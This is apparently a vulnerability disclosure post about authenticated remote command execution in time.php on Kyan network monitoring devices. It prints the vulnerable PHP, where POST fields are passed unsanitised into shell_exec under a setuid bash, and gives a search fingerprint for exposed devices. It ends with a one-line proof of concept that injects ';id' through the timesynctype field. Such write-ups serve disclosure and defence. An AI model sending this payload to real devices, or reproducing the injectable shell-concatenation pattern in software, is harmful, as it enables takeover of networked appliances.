Kyan Network Monitoring Device Time Php Remote Command Execution Vulnerability
Kyan Network Monitoring Device Time Php Remote Command Execution Vulnerability
Kyan Network Monitoring Device time.php Remote Command Execution Vulnerability
Vulnerability Description
Kyan network monitoring device time.php can execute any command under authentication. In conjunction with the account password leakage vulnerability, it can obtain server permissions, and there is a remote command execution vulnerability.
Vulnerability Impact
Kyan
Network surveying and mapping
title=”platform - Login”
Vulnerability reappears
The login page is as follows
Files with vulnerability: /time.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php
require_once 'functions.php';
require_once 'international.php';
session_start();
auth_check();
//showHeader('Route', array('table.css'));
if($_SERVER['REQUEST_METHOD'] == 'POST')
{
if(!user_is_admin())
{
showErrMessage("permission denied");
exit;
}
$timesynctype = $_POST["timesynctype"];
if($timesynctype!="client")
{
$output = shell_exec("/bin/bashsuid -p -c \"/usr/sbin/ntpdate " .$timesynctype. "\"");
showMessage($output);
shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\"");
}else
{
$ctime = $_POST["ctime"];
shell_exec("/bin/bashsuid -p -c \"date " .$ctime. "\"");
shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\"");
}
}
echo "<html xmlns=\"https://www.w3.org/1999/xhtml\">\n";
echo " <head>\n";
echo " <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n";
echo " <meta http-equiv=\"Content-Style-Type\" content=\"text/css\" />\n";
echo " <meta http-equiv=\"Content-Script-Type\" content=\"text/javascript\" />\n";
echo " <link type=\"text/css\" rel=\"stylesheet\" href=\"./templates/clean.css\" title=\"PSI_Template\"/>\n";
echo " <title>time</title>\n";
echo "<style type=\"text/css\">";
echo "th, td, h3 {";
echo "font-size: 12px;";
echo "}";
echo "</style>";
echo " </head>\n";
//print_html_begin("time");
?>
<script language="javascript" type="text/javascript">
//因程序执行耗费时间,所以时间并不十分准确,误差大约在2000毫秒以下
var xmlHttp = false;
//获取服务器时间
try {
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e2) {
xmlHttp = false;
}
}
if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {
xmlHttp = new XMLHttpRequest();
}
xmlHttp.open("GET", "null.txt", false);
xmlHttp.setRequestHeader("Range", "bytes=-1");
xmlHttp.send(null);
severtime=new Date(xmlHttp.getResponseHeader("Date"));
//获取服务器日期
var year=severtime.getFullYear();
var month=severtime.getMonth()+1;
var date=severtime.getDate();
//获取服务器时间
var hour=severtime.getHours();
var minu=severtime.getMinutes();
var seco=severtime.getSeconds();
//获取客户端时间
localtime=new Date();
//取得时间差
var jtime=Math.abs(localtime.getTime()-severtime.getTime());
var jdate=jtime/(24*60*60*1000);
var jhour=jtime%(24*60*60*1000)/(60*60*1000);
var jminu=jtime%(24*60*60*1000)%(60*60*1000)/(60*1000);
var jsecond=jtime%(24*60*60*1000)%(60*60*1000)%(60*1000)/1000;
//格式化输出客户端时间
function getClientTime(){
localtime=new Date();
var cyear=localtime.getFullYear();
var cmonth=localtime.getMonth()+1;
var cdate=localtime.getDate();
var chour=localtime.getHours();
var cminu=localtime.getMinutes();
var cseco=localtime.getSeconds();
ccyear=addZero(cyear);
ccmonth=addZero(cmonth);
ccdate=addZero(cdate);
cchour=addZero(chour);
ccminu=addZero(cminu);
ccseco=addZero(cseco);
document.getElementById("clienttime").innerHTML=ccyear+"-"+ccmonth+"-"+ccdate+" "+cchour+":"+ccminu+":"+ccseco;
document.getElementById("ctime").value= ccmonth+""+ccdate+""+cchour+""+ccminu+""+ccyear+"."+ccseco;
}
//格式化输出服务器时间
function getSeverTime(){
seco++;
if(seco==60){
minu+=1;
seco=0;
}
if(minu==60){
hour+=1;
minu=0;
}
if(hour==24){
date+=1;
hour=0;
}
//日期处理
if(month==1||month==3||month==5||month==7
||month==8||month==10||month==12)
{
if(date==32)
{
date=1;
month+=1;
}
}else if(month==4||month==6||month==9||month==11){
if(date==31){
date=1;
month+=1;
}
}else if(month==2){
if(year%4==0&&year%100!=0){//闰年处理
if(date==29){
date=1;
month+=1;
}
}else{
if(date==28){
date=1;
month+=1;
}
}
}
if(month==13){
year+=1;
month=1;
}
sseco=addZero(seco);
sminu=addZero(minu);
shour=addZero(hour);
sdate=addZero(date);
smonth=addZero(month);
syear=year;
document.getElementById("servertime").innerHTML=syear+"-"+smonth+"-"+sdate+" "+shour+":"+sminu+":"+sseco;
setTimeout("getSeverTime()",1000);
setTimeout("getClientTime()",100);
}
function addZero(num) {
num=Math.floor(num);
return ((num <= 9) ? ("0" + num) : num);
}
function updatetime()
{
return true;
}
</script>
<body onLoad="getSeverTime();">
<table style='width:500px' border='0' align='center' cellpadding='3' cellspacing='1'>
<th colspan="2"><?php echo lang_get('Timer'); ?></th>
<tr ><td align='right' width=50%><?php echo lang_get('System time')?></td><td align='left'><div id="servertime"></div></td></tr>
<tr ><td align='right'><?php echo lang_get('Client time')?></td><td align='left'><div id="clienttime"></div></td></tr>
<tr ><td colspan="2" align="center">
<form name="Form1" method="post" action=<?php echo $_SERVER['PHP_SELF']?>>
<input type="hidden" name="cdate" id="cdate" value=""/>
<input type="hidden" name="ctime" id="ctime" value=""/>
<?php echo lang_get('Sync Source');?>:
<select name="timesynctype" id="timesynctype" >
<option value="time.windows.com" selected="selected">time.windows.com</option>
<option value="time.nist.gov">time.nist.gov</option>
<?php
/*$system_lic_file = '/mnt/licenses/system/system.dat';
$bsynctoclient=false;
if(file_exists($system_lic_file))
{
$output = shell_exec("/bin/bashsuid -p -c \"openssl bf-cbc -K 000102030405060708090A0B0C0D0E0F -iv 0102030405060708 -d -in /mnt/licenses/system/system.dat |grep -v \"^;\"|grep Expire\"");
if($output == "")
{
$bsynctoclient = true;
}else
{
$bsynctoclient = false;
}
}
if($bsynctoclient)
{*/
echo "<option value=\"client\" >".lang_get('PC Client')."</option>";
/* } */
?>
</select>
<input type="submit" name="update" id="update" value="<?php echo lang_get('Update Now');?>" />
</form>
</td></tr>
</table>
</body>
</html>
<?php
//print_html_end();
?>
Something to note
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if($_SERVER['REQUEST_METHOD'] == 'POST')
{
if(!user_is_admin())
{
showErrMessage("permission denied");
exit;
}
$timesynctype = $_POST["timesynctype"];
if($timesynctype!="client")
{
$output = shell_exec("/bin/bashsuid -p -c \"/usr/sbin/ntpdate " .$timesynctype. "\"");
showMessage($output);
shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\"");
}else
{
$ctime = $_POST["ctime"];
shell_exec("/bin/bashsuid -p -c \"date " .$ctime. "\"");
shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\"");
}
}
All parameters are controllable, construct POC
1
2
3
POST /time.php
timesynctype=;id>2.txt
This post is licensed under CC BY 4.0 by the author.